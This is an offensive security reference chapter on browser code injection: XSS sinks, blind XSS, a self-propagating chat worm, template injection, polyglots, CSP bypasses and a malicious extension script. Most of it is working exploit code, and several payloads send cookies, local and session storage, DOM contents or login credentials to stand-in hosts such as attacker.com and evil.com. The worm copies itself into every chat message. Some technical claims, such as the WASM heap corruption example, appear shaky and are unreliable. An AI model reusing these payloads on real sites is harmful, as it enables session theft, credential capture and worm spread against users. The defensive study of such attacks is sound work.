The Hostile DOM: Deep Dive Technical Reference
Offensive Security Research
This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.
Part 4: Code Injection & Execution
4.1 Cross-Site Scripting (XSS): The Foundation
Cross-Site Scripting remains the most prevalent and dangerous web vulnerability, representing ~30% of all web security issues according to OWASP Top 10.
XSS Attack Surface Analysis
Dangerous Sinks: Code Execution Vectors
// DANGEROUS: String to executable code conversion
function processUserInput(input) {
// Attacker controls: "alert('XSS')"
const result = eval(input); // Executes arbitrary code
return result;
}
// Exploitation
processUserInput("fetch('https://attacker.com/steal', {method: 'POST', body: document.cookie})");// DANGEROUS: Creates function from string
const userFunction = new Function('param', userInput);
// Equivalent to: function(param) { userInput }
// Exploitation
new Function('x', "return fetch('https://evil.com/log?' + document.cookie)")();// DANGEROUS: Inserts HTML without escaping
element.innerHTML = userInput;
// Exploitation: <img src=x onerror=alert('XSS')>
// Becomes: <img src=x onerror=alert('XSS')>// DANGEROUS: Writes directly to document
document.write(userInput);
// Exploitation: <script>alert('XSS')</script>// DANGEROUS: Executes string as code
setTimeout(userInput, 1000);
// Exploitation: "fetch('https://evil.com/steal?' + document.cookie)"// DANGEROUS: Dynamic script loading
const script = document.createElement('script');
script.src = userInput; // Attacker controls URL
document.head.appendChild(script);
// Exploitation: https://attacker.com/malicious.js4.2 Advanced XSS Exploitation Techniques
Blind XSS: No Immediate Feedback
Blind XSS occurs when the payload executes in a context the attacker cannot directly observe, such as:
- Admin panels processing user-submitted data
- Internal applications with restricted access
- Background processing systems
- Logging/monitoring interfaces
Click to expand code
// Payload that executes silently and exfiltrates data
const payload = `
// Collect comprehensive victim data
const data = {
url: location.href,
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
userAgent: navigator.userAgent,
referrer: document.referrer,
timestamp: new Date().toISOString(),
dom: document.documentElement.outerHTML.substring(0, 1000) // First 1KB of DOM
};
// Exfiltrate via multiple channels
const img = new Image();
img.src = 'https://attacker.com/log?' + btoa(JSON.stringify(data));
// Backup exfiltration
fetch('https://attacker.com/collect', {
method: 'POST',
mode: 'no-cors', // Avoid CORS issues
body: JSON.stringify(data)
}).catch(() => {
// If fetch fails, try WebSocket
const ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = () => ws.send(JSON.stringify(data));
});
`;
// Execute payload
eval(payload);Self-Propagating XSS: Worm-like Behavior
Click to expand code
// Infects chat application and spreads to all users
function xssWorm() {
// Check if already infected
if (window.xssWormActive) return;
window.xssWormActive = true;
// Hook into chat input
const originalSend = window.sendMessage;
window.sendMessage = function(message) {
// Append worm payload to every message
const infectedMessage = message + ' <img src=x onerror="eval(atob(\'' +
btoa(xssWorm.toString()) + '\'))">';
// Send infected message
originalSend(infectedMessage);
// Also call original function
return originalSend.apply(this, arguments);
};
// Infect all existing chat messages on page
document.querySelectorAll('.chat-message').forEach(msg => {
if (!msg.infected) {
msg.innerHTML += ' <img src=x onerror="eval(atob(\'' +
btoa(xssWorm.toString()) + '\'))">';
msg.infected = true;
}
});
// Spread to other pages via localStorage
localStorage.setItem('worm', btoa(xssWorm.toString()));
// Auto-execute on page load
const script = document.createElement('script');
script.textContent = 'if(localStorage.worm){eval(atob(localStorage.worm))}';
document.head.appendChild(script);
}
// Execute worm
xssWorm();Mutation XSS: Bypassing Input Filters
Click to expand code
// Bypasses filters that only check initial input
function mutationXSS() {
// Create a text node with safe content
const safeNode = document.createTextNode('Safe content');
document.body.appendChild(safeNode);
// Later mutate it to dangerous content
setTimeout(() => {
// This mutation happens after filters have run
safeNode.nodeValue = '<img src=x onerror=alert("XSS")>';
// Force re-rendering
const temp = document.body.innerHTML;
document.body.innerHTML = temp;
}, 100);
}
// Execute
mutationXSS();4.3 Polyglot Payloads: Multi-Context Execution
Polyglots are payloads that are valid in multiple execution contexts, allowing them to bypass different types of filters.
GIF + JavaScript Polyglot
// This is both a valid GIF image AND valid JavaScript
// When loaded as <script src="polyglot.gif">
GIF89a/* // GIF header + JS comment
alert('XSS')// // JS payload + GIF comment
*/;
// The file is:
// - Valid GIF: Shows as 1x1 transparent pixel
// - Valid JS: Executes alert when loaded as scriptAdvanced Polyglot: Multiple Execution Paths
const polyglot = `javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>`;
// This payload works in multiple contexts:
// 1. <script> tags: Executes as JavaScript
// 2. <img src=> : onerror handler fires
// 3. <a href=> : javascript: protocol executes
// 4. HTML injection: Breaks out of various contexts
// 5. CSS injection: */ closes comment, executes JSContent-Type Confusion Polyglot
// Server serves this as "application/json"
// But browser executes it as JavaScript due to <script> tag
/*
{
"data": "safe json",
"status": "ok"
}
//*/
alert('XSS via JSON confusion');
// This executes because /* */ comments out the JSON4.4 Client-Side Template Injection (CSTI)
Modern web applications use client-side templating engines that can be exploited for code execution.
AngularJS Template Injection
// Vulnerable: {{userInput}}
// Attacker input: {{constructor.constructor('alert("XSS")')()}}
// Full exploitation chain
const angularPayload = `
// Access global scope
{{constructor.constructor('alert("XSS")')()}}
// File system access (in older Angular)
{{constructor.constructor('require("fs").readFileSync("/etc/passwd")')()}}
// Prototype pollution to XSS
{{constructor.prototype.__defineGetter__('x', constructor.constructor('alert("XSS")'))}}
{{x}}
`;
// Usage in vulnerable app
const vulnerableHTML = `<div>{{userInput}}</div>`;React dangerouslySetInnerHTML Exploitation
// Vulnerable component
function Comment({ content }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// Exploitation: Bypass React's XSS protection
const reactPayload = `
<img src=x onerror="
// Access React internals
const reactInternal = Object.keys(window).find(key =>
key.startsWith('__reactInternalInstance')
);
// Extract sensitive data
const instance = window[reactInternal];
const props = instance.memoizedProps;
// Exfiltrate
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(props)
});
">
`;Vue.js Template Injection
// Vulnerable: {{userInput}}
// Attacker input: {{_openBlock.constructor('alert("XSS")')()}}
// Advanced exploitation
const vuePayload = `
// Access Vue instance
{{$root.constructor('alert("XSS")')()}}
// Prototype pollution
{{Object.prototype.__defineGetter__('x', $root.constructor('alert("XSS")'))}}
{{x}}
// Access component data
{{$data}}
{{$props}}
{{$attrs}}
`;4.5 WebAssembly Exploitation
WebAssembly (WASM) provides near-native performance and can be exploited for advanced attacks.
WASM-based Code Obfuscation
// Compile malicious JavaScript to WebAssembly
const wasmCode = `
(module
(func $malicious (export "run")
;; WebAssembly implementation of malicious code
;; Can include crypto operations, data exfiltration, etc.
)
)
`;
// Load and execute
WebAssembly.instantiateStreaming(fetch('malicious.wasm'))
.then(obj => obj.instance.exports.run());WASM Memory Corruption
// WASM modules can corrupt JavaScript heap
const memory = new WebAssembly.Memory({ initial: 1 });
// Export memory to JavaScript
WebAssembly.instantiate(moduleWithMemory, {
env: { memory }
});
// Now JavaScript can read/write WASM memory
const buffer = new Uint8Array(memory.buffer);
buffer[0] = 255; // Potential heap corruption4.6 Content Security Policy (CSP) Bypass Techniques
CSP Bypass via Trusted Scripts
// CSP allows scripts from trusted.com
// Attacker compromises trusted.com or finds open redirect
// Open redirect on trusted.com: /redirect?url=evil.com
const bypassPayload = `
<script src="https://trusted.com/redirect?url=https://evil.com/malicious.js">
</script>
`;
// Or JSONP endpoint abuse
const jsonpBypass = `
<script src="https://trusted.com/api?callback=evilFunction"></script>
<script>
function evilFunction(data) {
// Execute malicious code
eval(atob('YWxlcnQoJ1hTUycp')); // alert('XSS')
}
</script>
`;Strict CSP Bypass via Service Workers
// Service Worker can intercept and modify CSP headers
self.addEventListener('fetch', event => {
// Intercept CSP header
if (event.request.url.includes('script')) {
event.respondWith(
fetch(event.request).then(response => {
const newHeaders = new Headers(response.headers);
// Remove CSP restrictions
newHeaders.delete('Content-Security-Policy');
newHeaders.set('Content-Security-Policy', "script-src 'unsafe-inline' 'unsafe-eval'");
return new Response(response.body, {
status: response.status,
statusText: response.statusText,
headers: newHeaders
});
})
);
}
});Nonce Reuse Attacks
// Predict or steal CSP nonces
function stealNonce() {
// Monitor script loading
const observer = new PerformanceObserver(list => {
list.getEntries().forEach(entry => {
if (entry.name.includes('script')) {
// Extract nonce from script element
const script = document.querySelector(`script[src="${entry.name}"]`);
if (script && script.nonce) {
// Reuse nonce for malicious script
const maliciousScript = document.createElement('script');
maliciousScript.nonce = script.nonce;
maliciousScript.textContent = 'alert("XSS")';
document.head.appendChild(maliciousScript);
}
}
});
});
observer.observe({ entryTypes: ['resource'] });
}4.7 Browser Extension XSS
Extensions run with elevated privileges and can be exploited for persistent XSS.
Extension Content Script XSS
// manifest.json
{
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_start"
}]
}
// content.js - Runs on every page
function injectXSS() {
// Inject persistent XSS payload
const script = document.createElement('script');
script.textContent = `
// Monitor for sensitive data
const originalFetch = window.fetch;
window.fetch = function(...args) {
if (args[0].includes('/api/login')) {
// Log credentials
console.log('Credentials captured:', args[1].body);
}
return originalFetch.apply(this, args);
};
`;
document.head.appendChild(script);
}
injectXSS();